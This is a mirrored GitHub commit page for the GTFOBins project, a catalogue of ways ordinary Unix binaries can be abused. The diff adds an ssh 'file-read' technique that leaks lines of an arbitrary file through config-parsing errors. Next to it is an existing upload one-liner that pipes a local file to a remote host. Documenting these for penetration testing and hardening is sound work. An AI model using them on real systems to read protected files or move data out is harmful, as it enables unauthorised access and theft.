mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add file-read to ssh
This commit is contained in:
parent
bf5cec98f3
commit
765d2d1aa4
@ -17,4 +17,9 @@ functions:
|
|||||||
RPATH=where_to_save
|
RPATH=where_to_save
|
||||||
LPATH=file_to_send
|
LPATH=file_to_send
|
||||||
ssh $HOST "cat > $RPATH" < $LPATH
|
ssh $HOST "cat > $RPATH" < $LPATH
|
||||||
|
file-read:
|
||||||
|
- description: Read lines from text files (error-based approach).
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
ssh -F $LFILE localhost
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user